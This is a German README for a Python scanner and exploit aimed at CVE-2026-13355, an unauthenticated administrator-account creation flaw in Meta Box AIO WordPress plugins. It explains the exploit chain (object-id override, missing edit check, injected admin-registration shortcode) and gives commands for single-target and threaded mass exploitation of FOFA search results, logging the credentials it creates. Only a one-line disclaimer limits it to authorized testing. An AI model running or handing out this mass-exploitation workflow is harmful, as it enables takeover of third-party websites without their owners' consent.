
Python-PoC-Scanner und Exploit für CVE-2026-13355, eine unauthentifizierte Admin-Rechteausweitung in Meta Box AIO WordPress-Plugins, mit FOFA-Massenscan.
Python-3-Proof-of-Concept-Scanner und Exploit für CVE-2026-13355 im WordPress-Bundle Meta Box AIO (und den zugehörigen Erweiterungen MB Frontend Submission / MB User Profile).
| Plattform | WordPress-Plugin |
| Komponente | Meta Box AIO |
| Betroffen | Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0 |
| Behoben in | Meta Box AIO 3.12.0+ (Form::process()-Autorisierung) |
| CVSS | 9.8 Kritisch |
| Auth | Unauthentifiziert |
| CWE | CWE-269 — Unsachgemäße Rechteverwaltung |
| Forscher | h0xilo (Wordfence) |
Verkettete Schwachstellen in zwei gebündelten Erweiterungen ermöglichen die unauthentifizierte Erstellung eines Administrator-Kontos:
mbfs) — rwmb_frontend_field_object_id überschreibt das Formularziel ohne Authentifizierung; Form::process() lässt user_can_edit() weg, sodass Angreifer wp_update_post() ausführen und post_content beliebiger Beiträge/Seiten überschreiben können.mbup) — Injizierte [mb_user_profile_register role="administrator" auto_login="true"]-Shortcode-Attribute werden ohne Rollenvalidierung vertraut.Wichtig: Die Exploit-Kette erfordert ein öffentliches mbfs-Formular (Frontend Submission), nicht nur login-beschränkte mbup-Formulare. Viele FOFA-Treffer zeigen nur die mbup-Login-/Registrierungsoberfläche — diese werden als plugin_mbup_only markiert und sind über diese Kette nicht ausnutzbar.
pip install -r requirements.txtpip install -r requirements.txt
# Einzelnes Ziel — Prüfung (standardmäßig Live-Terminal-Ablauf)
python poc.py -u https://target.example --mode check
# Massenprüfung (eine Zeile pro Ziel, außer --quiet)
python poc.py --list targets.example.txt --mode check --threads 20
# Einzelnes Ziel — Exploit (benötigt mbfs-Formular-URL + Beitrags-ID)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# Massen-Exploit aus Prüfungsausgabe
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
Beispielabfrage:
body="/wp-content/plugins/meta-box-aio/"
FOFA-CSV-Export normalisieren:
python fofa_to_list.py -i fofa_export.csv
# schreibt list.txt + normalisierte CSV (nur lokal, gitignored)
python poc.py --list list.txt --mode check --threads 20
| Option | Beschreibung |
|---|---|
-u, --url | Einzelne Basis-URL |
--list | URL-Liste, FOFA-normalisierte CSV (url-Spalte) oder candidates.jsonl |
--mode | check oder exploit |
--form-url | Seite mit [mb_frontend_form ...] / mbfs-form |
--object-id | Beitrags-/Seiten-ID für rwmb_frontend_field_object_id |
--paths | Zusätzliche Pfade zum Crawlen nach Frontend-Formularen |
--username, --email, --password | Registrierungs-Anmeldedaten (Exploit) |
--shortcode | Injizierte post_content-Nutzlast (Standard: Admin-Registrierungs-Shortcode) |
--verify | Bestätigung über /wp-admin/ oder wp-login.php nach der Registrierung |
--flow | Eine Zeile pro Ziel bei Massenläufen streamen (Standard bei --list) |
--no-flow | Nur Fortschrittszusammenfassung |
--quiet, -q | Minimale Konsolenausgabe |
--threads, -j | Massenparallelität (Standard 15) |
--output | JSONL-Protokoll (Standard cve_2026_13355_results.jsonl) |
--vuln-list | Text-Treffer / ausgenutzte Zeilen (Standard hits.txt / exploited.txt für Exploit verwenden) |
--candidates-list | Prüfungs-Metadaten-JSONL (Standard candidates.jsonl) |
| Datei | Modus | Inhalt |
|---|---|---|
cve_2026_13355_results.jsonl | beide | Vollständiges JSON pro Ziel |
hits.txt | check | URLs mit candidate_mbfs |
candidates.jsonl | check | form_url, object_id, Versionshinweise |
exploited.txt | exploit | url|user|email|pass|oid=… |
Verwenden Sie --vuln-list exploited.txt bei Exploit-Läufen, damit Prüfungstreffer in hits.txt nicht überschrieben werden.
status-Werte| Status | Bedeutung |
|---|---|
candidate_mbfs | Plugin vorhanden + MB Frontend Submission-Formular gefunden (Exploit möglicherweise möglich) |
plugin_mbup_only | Nur User-Profile-Login-/Registrierungsformulare — nicht diese CVE-Kette |
plugin_no_frontend_forms | Plugin-Fingerabdruck, keine rwmb-Frontend-Formulare entdeckt |
patched | Version über dem betroffenen Bereich (sofern lesbar) |
no_plugin | Meta Box AIO / Erweiterungen nicht erkannt |
post_content über ein mbfs-Formular mit ?rwmb_frontend_field_object_id=<id>.mbfs-Formulare haben oft kein echtes post_content-Feld; das Überschreiben kann in der Praxis dennoch fehlschlagen..
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Lokale Scan-Listen und Laufzeit-Artefakte (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sind in .gitignore und sollten nicht committet werden.
Nur für autorisiertes Sicherheitstesting und Bildung. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.